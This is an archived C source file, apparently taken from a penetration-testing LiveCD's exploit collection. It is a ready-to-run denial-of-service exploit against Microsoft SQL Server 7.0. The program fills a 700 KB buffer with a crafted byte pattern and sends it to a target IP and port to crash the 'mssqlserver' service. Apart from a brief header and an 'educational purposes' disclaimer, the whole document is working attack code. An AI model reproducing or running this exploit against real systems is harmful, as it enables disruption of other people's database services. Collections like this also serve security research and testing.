home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / mssqldos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /* Microsoft mssql 7.0 server is vulnerable to denial of service attack
  2.  * By sending a large buffer with specified data an attacker can stop the 
  3. service
  4.  * "mssqlserver" the error noticed is different according to services' 
  5. pack but the result is always
  6.  * the same one.
  7.  *Exception Codes = c0000005
  8.  * vulnerable:MSSQL7.0 sp0 - sp1 - sp2 - sp3
  9.  * This code is for educational purposes, I am not responsible for your 
  10. acts
  11.  * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
  12.  
  13. #include <stdio.h>
  14. #include <winsock.h>
  15.  
  16. #pragma comment(lib,"ws2_32")
  17. u_long resolv(char*);
  18.  
  19. void main(int argc, char **argv) {
  20.  WSADATA WinsockData;
  21.  SOCKET s;
  22.  int i;
  23.  struct sockaddr_in vulh;
  24.  char buffer[700000];
  25.  for(i=0;i<700000;i+=16) 
  26. memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);
  27.  
  28.  if (argc!=3) {
  29.   printf("MSSQL denial of service\n");
  30.   printf("by securma massine\n");
  31.   printf("Cet outil a ete cree pour test ,je ne suis en aucun cas 
  32. responsable des degats que vous pouvez en faire\n");
  33.   printf("Syntaxe: MSSQLdos <ip> <port>\n");
  34.   exit(1);
  35.  }
  36.  
  37.  WSAStartup(0x101,&WinsockData);
  38.  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  39.  
  40.  ZeroMemory(&vulh,sizeof(vulh));
  41.  vulh.sin_family=AF_INET;
  42.  vulh.sin_addr.s_addr=resolv(argv[1]);
  43.  vulh.sin_port=htons(atoi(argv[2]));
  44.  if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
  45.   printf("Impossible de se connecter...le port est en generale 
  46. 1433...\n");
  47.   exit(1);
  48.  }
  49.  
  50.   {
  51.   send(s,buffer,sizeof(buffer),0);
  52.   
  53.   printf("Data envoyes...\n");
  54.  }
  55.  printf("\nattendez quelques secondes et verifiez que le serveur ne repond 
  56. plus.\n");
  57.  closesocket(s);
  58.  WSACleanup();
  59. }
  60.  
  61. u_long resolv(char *host_name) {
  62.  struct in_addr addr;
  63.  struct hostent *host_ent;
  64.  
  65.  if ((addr.s_addr = inet_addr(host_name)) == -1) {
  66.   if (!(host_ent = gethostbyname(host_name))) {
  67.    printf ("Erreur DNS : Impossible de r soudre l'adresse %s 
  68. !!!\n",host_name);
  69.    exit(1);
  70.   }
  71.   CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
  72.  }
  73.  return addr.s_addr;
  74. }